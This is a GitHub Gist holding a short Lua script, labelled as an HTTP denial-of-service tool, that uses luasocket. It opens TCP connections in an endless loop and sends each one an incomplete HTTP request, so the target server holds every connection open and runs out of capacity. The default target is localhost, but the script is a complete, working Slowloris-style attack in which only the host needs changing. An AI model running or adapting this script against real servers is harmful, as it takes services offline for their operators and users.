Skip to content

Instantly share code, notes, and snippets.

@nonchip
Last active August 29, 2015 14:00
Show Gist options
  • Save nonchip/11121943 to your computer and use it in GitHub Desktop.
Save nonchip/11121943 to your computer and use it in GitHub Desktop.
luasocket http dos using many open connections
local host, port = "127.0.0.1", 80
local socket = require("socket")
while true do
local tcp = assert(socket.tcp()) -- open a new tcp socket
assert(tcp:connect(host, port)) -- connect
tcp:send("GET / HTTP/1.0") -- start sending a request, but incomplete, so server waits for more
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment